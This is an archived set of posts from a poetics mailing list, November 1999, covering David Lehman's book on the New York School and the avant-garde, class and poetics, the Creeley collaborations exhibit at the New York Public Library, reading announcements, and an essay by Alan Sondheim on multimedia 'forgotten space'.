"The poets of the New York School were avant-garde at a time when that designation meant something. They are not the last avant-garde movement we will ever have. But at the moment the conditions surrounding art and literature are anything by favorable to the idea of an avant-garde."

Agree that this is the case?

"The problem has something to do with the decline of the public intellectual and the corresponding expansion of the purview of academe; the idea that something can be at once avant-garde and academe would seem a contradiction in terms."

This could be half-true, I suppose... It could also be a gross oversimplification and hasty generalization. Would certainly consider most list members who happen to work in academe definitely avant-garde... Also, is it pretty easy for Lehman to say this? Is he, himself, in academe, and thus having his cake and eating it, too--i.e., gets to pronounce who is avant-garde and who gets to be avant-garde and at the same time does the bulk of his living off of academe infrastructures. (Or did I just agree with him, too?)

Quotes Gertrude Stein, who was alive some years ago: "For a long time everybody refuses and then almost without a pause almost everyone accepts. . . . In the history of the refused in the arts and literature the rapidity of the change is always startling." Then Lehman writes, "The interval between rejection and acceptance has steadily grown shorter since Stein wrote those words. The consequence is that the avant-garde's incursions into the temple of art have become ritualized as the predictable gestures of postmodernism."

Well, CPU's get faster every month, and humans may have, too...

Writes, "If we are all postmodernists, we are none of us avant-garde, for postmodernism is the institutionalization of the avant-garde."

Agree? He does use some first rate references (Kafka, Stein) to argue his point. They're very well known...

"In the second half of the book, I raise the question of whether the avant-garde as an abstract concept or a practical idea is finished."

Okay, some of this book is about whether there's an avant-garde anymore or can be. Haven't gotten that far yet and had bought it to read about the New School poets, but look forward to the argument.

"It is a question that leads to others, or requires the answer to others, before it can be settled. What does (or did) avant-garde mean, and how did it come to have meaning? What exactly are the requirements of an avant-garde art movement? What lessons do the movements of the past have to teach us? The argument against the viability of the avant-garde today rests on the assumption that there is no real resistance to the new, no stable norm from which the defiant artist may depart. While I find this to be a convincing argument, I would sooner help to quicken a new avant-garde than pronounce the demise of an old one."

These are legitimate questions...

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414. juliana spahr
review of Tardos's Uxudo
Wed 24 Nov 1999

Reviews

From Publisher's Weekly - Publishers Weekly

Pan-European ex-pat artist and poet Tardos writes here in spliced together bits of Hungarian, German, French and English, but the pronunciation keys and other linguistic graphs she includes bespeak precise formulation rather than polyglot mish-mash. At its best, Uxudo--a word, we're told, produced by computer error, and seemingly the only non-"real" word here--invites the reader into a world of fraught semantic and phonologic echoes, an effect furthered by being grafted onto video stills (mainly of women at different stages of life) which repeat, along with the words, in serial alterations. As visual poems, they resemble French Lettrism, with their clashing fonts and loose margins, engendering an endearing, consciousness-like chaos. In one instance, a flurry of equal signs shows the poet lost in equivalences--"quake tremblement = Beben = renges"--paradoxically less present in the text when giving us its code. Tardos's linguistic isolation is most pronounced when she is simply being herself: "Hochgeduld after nine from a fountain/ Gekreuzung vielmehr, which is how it's done/ Neighboryly jolie bete/ Give it time, haromvaros." The words following this bit, "Afterimage Nachbild," as well as much else here, give the work an explicitly post-WWII cast, suggesting post-war Germany's and fascist Europe's often obsessive attempts to find a usable past. Tardos's unique brand of multicultural pathos reminds us that our most pressing issues of identity and empire have been around for many years, and in many guises. (Nov.) Copyright 1999 Cahners Business Information.

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415. **rmutts**

Fwd: Subtext presents Dale Going and C.E. Putnam on Dec. 1st

Wed 24 Nov 1999

Those (headless or stateless?) in Seattle for the WTO protests next week may be interested in the following.

> Subtext closes out 1999 with a reading featuring Dale Going and C.E. Putnam
> on Wednesday, December 1st, 1999 at the Richard Hugo House on Capitol Hill.
> The reading starts at 7:30pm.
>
> Dale Going is both a poet and a book artist, proprietor of Em Press, the
> award-winning letterpress she founded in Mill Valley, California to publish
> experimental poetry by women. She is currently printing a chapbook of her
> poem, &0, and completing the manuscript for a new collection, Leaves from a
> Gradual. Her collections of poems are The View They Arrange (Kelsey St.
> Press 1994), and As/Of the Whole (San Francisco State University 1990).
> Recent work can be viewed online at the web publications HOW2 and City
> Search San Francisco (July "Local Howler"). She has been a California Arts
> Council Fellow in Literature, and twice a Fellow at the Djerassi Resident
> Artists Program. She last appeared in Seattle five years ago, when she read at
> the Bumbershoot Festival and received its award for letterpress book design
> for her Em Press chapbook, She Pushes With Her Hands.
>
> C.E. Putnam has recently returned to Seattle after years in the Nation's
> Capitol. He is author of "Go-Go Topless Mini-Poem Poetry" and co-author of
> the renga
> project "Communal Bebop Canto." His work has recently appeared in
> Articulate, Situation, and Pavement Saw. He used to be a part of the
> problem, but now he is the
> problem.
>
> Be sure to mark those new calendars: Subtext starts off the year 2000 with a
> reading on January 5th featuring poet and translator Jen Hofer. Also reading
> will be Bryant Mason.
>
> Subtext readings fall on the 1st Wednesday of the month at the Richard Hugo

> House. The Hugo House is located at 1634 11th Ave on Capitol Hill in
> Seattle. Subtext events are co-sponsored by the Richard Hugo House.
>

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416. **Joel Weishaus**
Re: letting go
Wed 24 Nov 1999

I've been trying to control the design, line breaks, of a web page through all sizes of monitors. I work on a 15" monitor, and when I look it on a 21" monitor (at a university pod) the font sizes default larger, in order to ill the screen, the line breaks are thus different, the page, and meaning, skewed. Very frustrating!

A few days ago, I was reading (again) Laurent Jenny's essay, "Genetic Criticism and It's Myths" (Yale French Studies #89, 1996), and came to realize that controlling the viewing space of one's work is a modernist conceit, and not what this new medium is promising to writers. I wrote it into the project's as:

"At first I tried to control this space, as control over one's work is the pedagogy of non-digital art. In the process, I began to appreciate that the digital canvas is an apparitional landscape, a phantasm of fluid patterns, somewhat like the walls of Paleolithic caves. So that within the praxis of the words and images I am gestating, it is the viewer--in this case by increasing or decreasing font size (View)--, not the writer, who has the final tools of alterity."

Several strategies are being used by net.artists to allow the viewer to participate in the creative process. Here a lack of technical means lead to the giving over of control. Perhaps in the future I can rectify this. But, in a nascent medium, the learning of whose tools, always upgrading, can be prohibitively time-consuming and daunting, is the lack of ultimate control an opportunity toward abstraction?

This lack of control seems built into the system. For example, one can download copyrighted photographs, and alter them. The same with texts. I do both, careful to cite. Not out of a lack of respect for the artists, but from a faith in which we are all creating, and have been for millennia, one big work of Human Art: adding, subtracting, continuously changing, letting go.

-Joel Weishaus

ARCHIVE: www.unm.edu/~reality
SKULL-HOUSE: (Most advanced draft): www.unm.edu/~reality/Skull/intro.htm
SKULL-HOUSE (Being built at Centre for Advanced Inquiry in the Interactive Arts):
http://caiia-star.newport.plymouth.ac.uk/projects/skullhouse/Skull/index.htm

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417. Carol L. Hamshaw

[Fwd: Adeena Karasick wins the Vancouver Videopoem Festival "People's Choice Award"]

Wed 24 Nov 1999

The Edgewise Electrolit Centre
www.edgewisecafe.org

For Immediate Release: November 17,1999

Adeena Karasick
wins the Vancouver Videopoem Festival "People's Choice Award"

Vancouver, BC ... On November 7, 1999 The Edgewise Electrolit Centre presented it's first annual Vancouver Videopoem Festival, hosted by oral/improv poet Kedrick James. The evening featured a diverse body of work produced by Canadian and international artists as well as an impromptu performance by the polyvocal ensemble, Verbomotorhead.

The Edgewise Electrolit Centre is pleased to announce Adeena Karasick's Alphabet City as the "People's Choice Award"
winner. Karasick is a poet/cultural theorist, performance artist; and the author of three books of poetry and poetic theory. The award (gift certificates from the Alibi Room, Biz Books and a VFS course) was presented to Adeena and Evan Karasick (her brother, who collaborated with Adeena in the

editing of Alphabet City).

A second prize (a gift subscription to The Capilano Review) was awarded to Tom Konyves for his three video poems: Sign Language, Percussion and Hopscotch. Konyves began experimenting with video poetry during the early 1970's as a member of The Vehicule Poets, one of the first alternative galleries formed in Canada.

Visit The Edgewise Electrolit Centre's website @ www.edgewisecafe.org to find out more about the artists who participated in the Videopoem Festival or to inquire about next year's submission details.

Funding for The Vancouver Videopoem Festival was received from the Canada Council for the Arts and was produced in partnership with Video In Studios, Vancouver, BC. Part of Outside the Lines, BC Arts and Culture Week.

> *The Edgewise Electrolit Centre is a nonprofit society whose mandate is to exploit communications technology to widen the audience of Canadian poetry and to give poets, multi-media artists and youth the opportunity to use, learn, and create with this technology. Videocomferencing and online publishing are the major technologies that we work with. Our electronic magazine can be viewed and heard at www.edgewisecafe.org. Poets featured with audio include Adeena Karasick, Wayde Compton, Bill Bissett and Sheri-D Wilson. Funding for our programs is received from The Canada Council of the Arts, The BC Arts Council, The City of Vancouver, Embedded Spaces and Communicopia.*
>
> *For more information, please call Raquel Alvaro, Events Producer, at [redacted], or via email at [redacted]*
>
> *Raquel Alvaro*
> *Events Producer*
> *Edgewise Electrolit Centre*
> *http://www.edgewisecafe.org*

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418. **MAYHEW**

class

Wed 24 Nov 1999

Some notes on class:

1. Upper-class poetics in the US would look a lot like James Merrill: lots of cultural capital on display, opera, meals of a certain kind.

2. Middle-class poetics would look like Robert Pinsky. The idea that poetry is so darn good for us.

3. A sort of sentimentalized working-class poetics in Philip Levine. He doesn't write poems about sitting in his office in Fresno, but about being an auto-worker in Detroit 40 years before. What's sentimental is precisely the displacement, the idea that actually working on the assemby line is more authentic.

4. Is class class origin? In this case if you come from working class you are always such, even if you end up living the style of another class. Is it affiliation or "identity"? Is it where you are now, where you will be, or where you come from? If you write in Robert Pinsky middle-brow style, even if you are working class origins, what is the class of your poetics?

5. In the interest of full disclosure, I should point out that I have a middle to upper-middle class, academic background (surprise!). Grandparent farmers in Mountain states, grandparents, uncles etc... govt. bureaucrats, accountants, college professors, etc... Access to cultural capital is key here. As University professor myself I basically do now what I have done my whole life: read books, go to bookstores, write and think about what I've read, talk to others about this, etc... This is my class existence, and didn't really change much when I didn't have money as graduate student.

Jonathan Mayhew
[redacted]

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419. David Kirschenbaum
Creeley NYPL Exhibit Opening Coverage, from Booglit 6
Wed 24 Nov 1999

Aldon Nielsen asked for the good word on the Creeley show at NYPL, so here's how I wrote-up the opening for Booglit 6: Lowell Celebrates Kerouac ($10ppd. Booglit 351 W.24th St., Sutie 19E, NYC 10011-1510--see October 4, 1999 post).

as ever,
David

Another Opening, Another Show
Creeley collaborations tour stops in NYC

The opening for the New York Public Library’s new exhibit, "In Company: Robert Creeley’s Collaborations," is a collaboration itself. Everyone in attendance does a quick art-check, but it is the company that matters. Poets and literary editors talk outside the gallery where parts of Creeley’s lifelong artistic unions are glass enclosed. Shift from one collaborator to the next. René Laubiès to Dan Rice, Fielding Dawson to Robert Indiana to William Katz, as the decades blur, from 1950s on through the 1970s. Strange to see poet/artist Bobbie Louise Hawkins on Black Sparrow covers as "Bobbie Creeley," her art, as she says in the catalog (edited by Amy Cappellazzo and Elizabeth Licata; University of North Carolina Press, 1999), "not illustrative of the poems."

A few words on the catalog: The CD-ROM it comes with is alone worth the $24.95 pricetag. Drop it in and Creeley’s exhibit pops across your monitor, with art, words, and sounds a mouse click away. Add that shiny package to the handsome art book—which draws on the show’s visuals and includes essays by

the editors, John Yau, and words from the artistic collaborators—and you're in for a joyous multisensory overload you'll return to forever for inspiration.

The artist Meg Arthurs, whose collaborators include Allen Ginsberg, Lee Ann Brown, and Bernadette Mayer, enters the Edna Barnes Solomon Room to see how Creeley puts it together. Granary Books chieftain Steve Clay tows his little one around as he talks the room.

Newlywed Alan Gilbert, his new bride/collaborator Kristin Prevallet a few feet away, talks with Canadian poet Jeff Derksen—"I didn't realize I still wear that shirt," he tells me of the photograph I sent him from the first BoPoFest. Tender Buttons editor Lee Ann Brown films Bernadette Mayer, Phil Good, and Lewis Warsh by the covered bridge table/temporary bar.

And I give Creeley a quick hello, before I have someone snap our photo, and the honored guest, off a puddle-jumper from Buffalo, seeks a new drink. But the bartender's done collaborating, as the lights flash on and off, and the security guard turns to Creeley and says, "It's time to go, we're closing, sir."

In Company is on view at the New York Public Library,
Fifth Avenue and 42nd Street, Edna Barnes Solomon Room.
It runs through January 13, 2000. Admission is free.
M/Th-Sat: 10:00a.m. to 6:00p.m., Tu-Wed: 11:00a.m.-7:30p.m.
For more information call [redacted].

_____ Get FREE voicemail, fax and email at http://voicemail.excite.com Talk online at http://voicechat.excite.com

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420. Tony Green
Re: Bending, - Stooping!, Tlingit, Konniger
Wed 24 Nov 1999

---

aa alas no shooters for the sutured peepers

From: miekal and <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, 25 November 1999 08:12
Subject: Re: Bending, - Stooping!, Tlingit, Konniger

> *This is certainly in dispute with other who were also present who just like to argue for the sake of grief or sport. The eyes have been sewed shut & neural circuits hard wired to the intimacy of the spoken word, one shellfish at a time. Club the language, spawn.*

> *Tony Green wrote:*
>
> *an answer to the question, Alan?*
>
> *Nikuko held Dr Konninger's eyes for a long time, but she was the first to look away. She held his eyes, never returned them, as she went on opening mussels.*
>
> *Tony*
>
> *-----Original Message-----*
> *From: Alan Sondheim <[redacted]>*
> *To: [redacted] <[redacted]>*
> *Date: Saturday, 20 November 1999 03:00*
> *Subject: Bending, - Stooping!, Tlingit, Konniger*
>
> *"Did NIKUKO return his eyes?"*
>
> *("steps gingerly into the pools, bending, stooping! - stooping! - gathers sea-mussels, her eyes fixed, she's never dizzy, the slight scent of sea-water")*
>
> ---

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421. **Tony Green**

Re: Creeley In Company

Wed 24 Nov 1999

Passing thru NY a month ago, I was in the Creeley collabs exhibition at the NY Public Library for a couple of hours, alerted to it by my NZ painter friend Max Gimblett, I was much taken with early photos (Majorca), with ms letters, e-mail print-outs, & the wide varieties of collaboration in all the books on display. The early material especially was exciting to see -- a long gone chapter, history -- so to speak. Opened archives, great! I paused to read the whole of Creeley's ms tribute to John Altoon -- I vaguely remembered it from print somewhere. I liked the look of half-familiar things, glimpsed, or read about somewhere, : but many I hadnt seen, especially the somewhat luxurious recent ones (Of course, I've got a copy of _The Dogs of Auckland_ with Max's dog drawings. _Le Chien d'Auckland, c'est moi!_ says the text. & fine printing by Alan Loney). It was far too rich for two hours browsing, I wanted/needed ten days to look at all

the things there, read them. But that's always one of the effects in that kind of exhibition of books & mss. Round the walls the collection of old paintings belonging to the library completely failed, for once, to hold my attention after all the reading, leaning on vitrines.

that Aldon may give you some sense of the show as distinct from the book of the show cheers Tony Green
From: Nielsen, Aldon <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, 25 November 1999 08:21
Subject: Creeley In Company

> *Have any of the New Yorkers on the list been around to the NYPL to see the Creeley collaborations exhibit, "In Company"? (and apologies if this has already been discussed -- I was electronically discommoded for a period) --*
>
> *I've been looking at the book version , which is being distributed by the U of North Carolina Press -- It's a beautiful volume, and affordable -- nice CD rom comes with it -- the designers could have been a bit more imaginative (and who chose that music?!) but the colors float beautifully onto the screen -- I'd get this book even if I had all the artists' books it covers -- which, of course, I never could afford -- though I hasten to add that Creeley and comrades have on occasion ssen fit to produce art/poetry books that any of us could afford, and I've got those! The CD includes photos and correspondence that aren't in the book, and it allows you to page through reproductions of the art and poetry -- My own favorite is _A Sight_, with Kitaj.*
>
> *would much appreciate a report from the scene from any who have in fact seen it --*

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422. **Arielle C. Greenberg**
Re: Recent David Lehman book
Wed 24 Nov 1999

I'm sure the book has already been discussed here, but I'm glad someone brought it up again, since I'm just finishing it now and have been very interested in it...

> *we will ever have. But at the moment the conditions surrounding art and literature are anything by favorable to the idea of an avant-garde."*
>
> *Agree that this is the case?*

Not really. While I understand that a certain kind of imposed limitation, or a societal narrow-mindedness, might in fact liberate artists, I don't think America,

currently, is so open to work that pushes the boundaries that it makes it impossible for an avant-garde to exist. Poetry is still a marginalized medium, and within poetry, the experimental world is still very small. Recent coups such as the Mac Low Tanning thing notwithstanding, I'd argue that even in most literary/artistic circles, experimental poetry is still more or less "underground."

And while I do think Lehman's point about the difficulties of being simultaneously avant-garde and academic is compelling mostly in its political implications, I think the argument is refuted by his own book: Kenneth Koch is depicted as Mr. Professor, and the epilogue on the current state of avant-garde poetry points at the Language School's relationship to theory. (Then again, he seems to not like Language stuff much at all...which is maybe why he argues this way...)

> *Writes, "If we are all postmodernists, we are none of us avant-garde, for postmodernism is the institutionalization of the avant-garde."*

A really interesting idea, I think. Although I suspect making innovative work has much less to do with how you label yourself (or how time labels you) and much more to do with the actual work...which, despite the calendar, may in fact be really NEW.

My two cents on the book: I loved the info on the poets themselves, thought women got a really raw deal throughout, thought the intro and concluding essays were far better organized than the biographical chapters on the poets, which felt haphazard, but it was a page-turner, anyway.

Turning pages,
Arielle

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423. **Maria L. Zavialov**
Re: class
Wed 24 Nov 1999

23-Nov-99 16:30 you wrote:
>>Suddenly i remembered that I should know about working class a lot.
>>I was thoroughly drilled in marxism and leninism all through many years of
>>school and university back in the 70s in the Soviet Union. M.Z.
>>

> *i'd thought maybe doing a bit o' labour because it was your only option would be a better sampler than being drilled by theory//pete spence*

It was in good old Soviet times when the State paid for schooling. Now I have to do quite a bit of labour to support a family of five my husband being a poet.
M.Z.

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424. Richard Dillon
Re: re Bromige And the Provinces
Wed 24 Nov 1999

David Bromige walks around with his shirttails flapping outside of his jeans.
>From: Tom Beckett <[redacted]>
>To: [redacted]
>Subject: Re: re Bromige And the Provinces
>Date: Mon, Nov 22, 1999, 8:50 PM
>

> *I guess, David, that I'm increasingly wary of hierarchies of "excellence." Especially ones that are based on geographical and, perhaps?, class distinctions.*
>
> *TomB.*

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425. Katherine Lederer
Re: Recent David Lehman book
Wed 24 Nov 1999

It sometimes feels like exclusionary politics and/or poetics is considered avant-garde.

Sometimes it feels like people think that to denounce something has to do with being avant-garde.

I think that generosity is a very avant-garde thing and doesn't get enough credit.

If Lehman really means this:

> *depart. While I find this to be a convincing argument, I would sooner help to quicken a new avant-garde than pronounce the demise of an old one."*

then I like that.

It's hard to be a poet.

Katy

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426. **Steve Dickison**

***** Don't miss the George Oppen Lecture ** Thurs Dec 2 *****

Wed 24 Nov 1999

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

There is the area of Lyric---the
  area in which one is absolutely
convinced that one's emotions
  are an insight into reality
  and death
  But values-- as they say-

(from George Oppen's "DAYBOOKS," edited by Stephen Cope; reprinted from THE GERM: A Journal of Poetic Research, No. 3, April 1999)

THE ANNUAL GEORGE OPPEN MEMORIAL LECTURE
ON TWENTIETH CENTURY POETICS

Presented by STEPHEN COPE

Thursday December 2, 7:30 pm
at The Unitarian Center, 1187 Franklin at Geary
San Francisco

Poet Stephen Cope, of UC San Diego, is currently working on a book-length edition of George Oppen's WORKING PAPERS, a selection of which appeared recently in The Germ, No. 3 (quoted above). Fascinating material, Oppen's as yet unpublished writings in the form of his "Day Books" or "Working Papers" greatly exceeds in volume his published work, including the Collected Poems and Selected Letters. Stephen Cope's work on editing and presenting these unpublished writings promises to be a revelation for anyone interested in the drift of poetics in the latter half of the century, and George Oppen's extraordinary contribution to the thinking of--and thinking by means of--poetry in our time.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

Cold water flats---but i think that of all those who committ'd suicide in the 16 century, none killed themselves because there was no such things as hot running water in the world.

Diction. the distinction is in the words I do not use, more than in the words I do use. I use the words for large and for small often. Because scale is important, just because it is subjective.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

==========
Steve Dickison, Director
The Poetry Center & American Poetry Archives ~ San Francisco State University
1600 Holloway Avenue ~ San Francisco CA 94132 ~ [redacted]

~ ~ ~

Lâ taltazim hâlatan, walâkin
durn bî-llayâly kamâ tadûwru

Don't cling to one state
turn with the Nights,
as they turn

~Maqâmat al-Hamadhâni (tenth century; tr Stefania Pandolfo)

~ ~ ~

Bring all the art and
science of the world, and
baffle and humble it with
one spear of grass.

~Walt Whitman's notebook

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427. Alan Sondheim
(towards a poetics of multimedia/text)
Wed 24 Nov 1999

Background / Foreground

I was thinking of this first a couple of years ago in relation to objects and multimedia channels, and then looking at Miekal And's flash work (which I love) and some of the other URL sites I've posted here - I've been wondering about the relationship among:

1. Multimedia OBJECTS, and their protocols, codings, animations/visuals/audios, etc.; 2. The framework of the SCREEN or page, which holds the OBJECTS; and 3. The embedding of the SCREEN within the apparatus of the COMPUTER and its input devices (keyboard, mouse, microphone, camera, etc.).

It seems to me that emphasis on the first relates to modernism, in the sense that the background is assumed neutral or irrelevant, and that the object itself forecloses on its own interiority; that the second relates to deconstruction, to the extent that the margins and protocols are fore- grounded as much as the embedded objects (all of this is presuming that background is visible and somewhat well-defined); and that the third relates to postmodernism, to the

extent that it is also cyborgian, inter- ior and exterior simultaneously. In any case, I'd like to see a phenomeno- logy of this issue (which might be related to, say, Sherry Turkle's or Brenda Laurel's work), somewhere, sometime. It seems to me that emphasiz- ing the domain or tenor of a site instead of its components (which are emphasized especially on those webpages, that, say, ask if you have this or that plugin) is a way of approaching both experiential issues, and issues of virtuality which rely on encompassing the spectator and her or his body, in relation to the coding, the writer, the producer, the artist, the director, etc.

One might consider levels of interaction, moving from the user's body and its own foregrounding/backgrounding (see Drew Leder, The Absent Body), through a phenomenology of the lived environment. Change the focus to the "digital apparatus" itself (in the sense of the "cinematic apparatus") - to the increasing diversity of displays. From displays, it is a difficult step to the internal margins of the visual (and are there parallels in sound as well?) - and the introjections/projections associated with images and flash and other multimedia components. (As the case may be, extend this farther to actively responding joysticks, teledildonic apparatus, etc.) I would be interested in the ways that such introjection and pro- jections (what I call "jectivity") operates in internal world-building - where, in other words, is the user, psychologically, in the midst of all of this. We know that one can easily inhabit the reduced audio-visual bandwidth of a MOO or MUD, and even a novel; in multimedia, the singular experience of reading is broken up by mouse-clicks, attention structures across the screen, and so forth. How does this heterogeneity function in terms of worlds? How does one move within these spaces, which can often appear, as the modernist gallery, as an accumulation of objects against presumably "irrelevant" white walls? Does the white background of the screen function as such a wall? Does a background color create a different kind of experience altogether? What is the phenomenology of jectivity in general, across the various sensory modalities?

The point of all of this is both practical - knowledge of the psychologi- cal processes that are involved in world-building, from both a design and a user viewpoint - and theoretical - how do we make sense of _any_ world, foregrounding and background what we ascertain, for ourselves, are objects within it? How, in other words, _are worlds inscribed?_ Multimedia pro- vide profound tools for research here; there's always something behind the holodeck, waiting to be fished out.

ii Note on forgotten space -

Let us talk about the _forgotten space,_ the space between the object and the frame, the space neither of containment nor the intensity of edges. It is this space which shimmers, always present, even if driven to the suicide of the line

as the object fills the frame - it is this space which is the true screen, never present, an inexplicable absence, were it to be named. If the dream screen is presumed always to background, this forgotten space is _neither here nor there,_ but virtual, in the sense of the virtual particles of the vacuum. Its presence is its annihilation; it is most likely white or black, perfect absorption, perfection emission. I place this screen certainly the side of the analytic; it is just as like ly to exist as a token for the diffused or exhausted, the turbulent. Nei- ther the matrix out of which the symbolic object arises, nor the symbolic itself - neither the chorus of indecipherable languages nor the chora it- self, the forgotten space is always already named, discarded, the origin of /dev/null to which useless output is ascribed. So to talk about this space is that which is most natural in the world, since it is the space of the object's jostling within or among places, spaces, others. One might say it gives birth to the burden of the proper name, and measurab- le, it is of no size whatsoever. Before you look at the matrix of media, look at the forgotten spaces, which make or break inhabitations - and the more forgotten, the better.

iii forgotten space among the objects and the margins of the screen

framework or the central division which is forgotten places, not spaces, open elements, line segments somewhat obliterated the spaces seething granular and seething in the distance, a line, smooth, clear, boundary perceptual object = let us say, what the mind tells us the speaking of the mind through the fog of forgotten space across the bay, along the floor of the sea, on the side of the valley nothing wandering inscribes and the trembling of kanji into mist forgotten space surrounding gotten space gotten space triumphant, bounded, areas of languages and protocols what is laying there holding somewhere what is laying there sheets of assertion, unassigned pixels, useless waves of background color pooling of background color, spreading around negative shapings, places just a moment ago, about to me, something, somewhere over there not forgotten space among the margins of the screen, a space, a screen not thinking one into places but looking at people others but not others, people some people they told me about some places, the they saying, anyone saying background inscriptions, spreading around negative propositions places, the perhaps, main() or void, dev/null or some other placings

iv forgotten space

```
        <objecta>
                        <littleobjecta>
          \
           \_______[coupling]_______/        {forgotten space}
                     |
                <objectb>
```

A coupling is defined as (a,b,c); if a -> a', then (a,b,c) -> (a',b,c) as opposed to a linkage in which if a -> a', then (a,b,c) -> (a',b',c'). In forgotten space, objects are combined as couplings or concatenations without an intrinsic linking. Forgotten space is neither matrix nor con- tainer/chora; it is the of-jostling, nothing more nor less. Think of the spacings of multimedia objects.

A coupling in this regard may be considered a generated perceptual group- ing of relatively well-defined objects. An object is defined as a rupture or insertion into forgotten space. An object is also a skein of bits and bytes, ranging from the performative to static files. The former is al- ways triply encoded; the latter, more often than not doubly encoded. Text- ual insertions into forgotten space (i.e. ascii text) activate the space, i.e. it becomes gotten space, the sheet of assertion or subtextual matrix of structure 'holding' the ascii in place. Movement in dhtml across for- gotten space is in relation to the screen or object boundaries; the space itself carries no distinction.

Or perhaps the space, like the phallic masquerade itself, assume identi- ties, forgetfulness taking on the characteristics of the current diegetic in relation to the viewer's dialogic - in which case, one might well turn away in disgust, there's no hope for it. Still, I wouldn't call it a space of potential, it's there, forgotten, stillborn in relation to the objects contained - in fact, it's charted, mobilized, for their location in terms of window percentage (30% vertical say) or pixels (400 horizontal say).

The charting is for them; they're tracked across the forgotten space. Any landmark is charted as well; there is the forgotten space, and the chart- ing of the landmarks. And there is nothing else, the forgotten space hard- ly nomadic, on the verge of presence, neither shifting nor present.

The image is of the gotten space, always of such. Everything is coupled within the image.

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428. Summi Kaipa
government funding in the arts
Wed 24 Nov 1999

hello all--

i'm trying to get a concrete sense of what is happening to government funding in the arts. that is to say, everyone speaks of the "trend" in arts, the cutbacks in the nea budget, etc.--but what are smaller, non-prof organizations feeling both by the nea and by state arts orgs in numbers? anybody out there head an

arts org and have specific examples of slashes, i.e. how much of a decrease in funding they have received over the past 10 years or whatever?

particularly, i'm interested in examples of organizations/people who have had some dealings with the california arts council--or other state arts councils whose behavior might be akin to the cac (maybe new york?)

or, if you know something about the type of people who sit on the state/federal arts panels and where to get more info about this, please do tell.

please backchannel with info, thanks.

summi

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429. **pete spence**
Re: re Bromige And the Provinces
Wed 24 Nov 1999

> *I guess, David, that I'm increasingly wary of hierarchies of "excellence." Especially ones that are based on geographical and, perhaps?, class distinctions.*
>
> *TomB.*

specialy when you are an australian who has always enjoyed his low-key choices//pet spence

---

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430. **pete spence**
Re: class
Wed 24 Nov 1999

>Some notes on class:
>>4. Is class class origin? In this case if you come from working class you
>are always such, even if you end up living the style of another class. Is
>it affiliation or "identity"? Is it where you are now, where you will be,
>or where you come from? If you write in Robert Pinsky middle-brow style,
>even if you are working class origins, what is the class of your poetics?
>
>5. In the interest of full disclosure, I should point out that I have a
>middle to upper-middle class, academic background (surprise!). Grandparent
>farmers in Mountain states, grandparents, uncles etc... govt.

>bureaucrats, accountants, college professors, etc... Access to cultural
>capital is key here. As University professor myself I basically do now
>what I have done my whole life: read books, go to bookstores, write and
>think about what I've read, talk to others about this, etc... This is my
>class existence, and didn't really change much when I didn't have money as
>graduate student.
>
>
>Jonathan Mayhew
>[redacted]
>
yeah well my full disclosure would be after 35 years working around factories someone dropped a pile of shares on us/ just because we have half a million in banks doesn't mean i'm going to vote for service cuts in banks just to please the dividend//pete

---

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431. Acharya Hom Raj

introduc

Thu 25 Nov 1999

although i am continuously enjoying the postings, i have not yet contributed to the list. Before i do that, i feel, i must introduce myself to the community of poets or to the species, i think, i belong to- my name is Homraj Acharya and i am a poet from a country called Nepal which is a squash between two big boulders: China and India. Currently i leave in Boulder. i am here as a student for about little more than two years. And don't know many members of the same species. Joe Amato is the only person I know from this list. But, certainly, I have heard and have read works of few others from the UB Poetics discussion group. Anyway, lets get to the point: I am interested in knowing more about post-structuralism theory, especially materials written on the subject after 90s and its contemporary critics, however, not being a tudent of English literature, I found some difficulties locating good materials on this particular issue. I would really appreciate if anyone of you gave me some helpful suggestions and some useful bibliographic references, and if the materials are on poetry that would be the best. back channel please.

Happy thanx giving,
Homraj (Hom)

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432. Murat Nemet-Nejat
Class and Money
Fri 26 Nov 1999

I am struck by Jonathan Mayhew's notes on class, and they require more than one posting to exhaust. I would first like to refer to his observation on a "sort of sentimentalized working-class poetics in Philip Levine":

"He doesn't write poems about sitting in his office in Fresno, but about being an auto worker in Detroit 40 years before. What's sentimental is precisely the displacement, the idea that actually working on the assembly line is more authentic."

The same day, Pete Spence responds to Maria Zavialov:
"Suddenly I remembered that I should know about working class a lot.
>I was thoroughly drilled in marxism and leninism all through many years of
>school and university back in the 70s in the Soviet Union." M.Z.
>

i'd thought maybe doing a bit o' labour because it was your only option would be a better sampler than being drilled by theory//pete spence"

Does Pete have a special knowledge that Maria belongs to the idle reach? Or is it implicit in his comment that labor is only labor ("authentic") if it is working class? Is this an example of the "sentimental working-class poetics?"

Maria's comments, I believe, are more complicated than Pete assumes. They imply (as her prior observations on "place" do) the point that "working class" is essentially a historical concept, created by Marxism. And in Marxism class is inextricably linked with money.

In earlier periods the language of social stratification has very different connotations. The medieval "chain of being" accepts those divisions as divine order, without the utopian sense of progress of Marxism. From 17th century on the lower classes are the "unruly mob," demonized, conceptionally even worse off than before. Neither of the two explicitly connects class to money. Consequently, class is treated as a subset of culture, a culture which serves the ends of those who already own the money.

How much of our founding fathers' idea of democratic government is obsessed with suppressing (controlling, rendering voiceless) the unruly mob (a nother phrase for the owners of no property), integrating, how much of the royalist Hobbes as of John Locke? "Speech starts with money": this is a systemic/constitutional fact. Before money (word) there is nothing (chaos, yohu vavohu).

I have problems with the fifth item on Jonathan's list:

"In the interest of full disclosure, I should point out that I have a middle to upper-middle class, academic background (surprise!). Grandparent farmers in Mountain states, grandparents, uncles etc... govt. bureaucrats, accountants, college professors, etc... Access to cultural capital is key here. As University professor myself I basically do now what I have done my whole life: read books, go to bookstores, write and think about what I've read, talk to others about this, etc... This is my class existence, and didn't really change much when I didn't have money as graduate student."

Jonathan appears to say that class essentially is equivalent to culture in the United States. This is so if class expresses itself in writing only in terms of the class origin of the writer? Then, it is true, as Jonathan notes, a contradiction develops when a person moves up the economic scale, which is quite possible in the States. But what about class, reflected in terms of who supports or pays for the written product? Then, Jonathan’s financial sacrifice as a graduate student is a temporary state, as an intern’s on the way to becoming a doctor.

I’ll take a step further. Suppose one pries poetry loose from the university/teaching system which supported it the last twenty years, and one faces the absolute economic non-viability of poetry as an economic product. How does embracing squarely this non-viability affect the nature of a poem? I believe that the issue of class in poetry is linked directly to it. And poets who integrate this "uselessness" into their work form a class (a kind of unruly mob with no economic interest in the system), regardless of their personal backgrounds or the "material" of their poems for that matter.

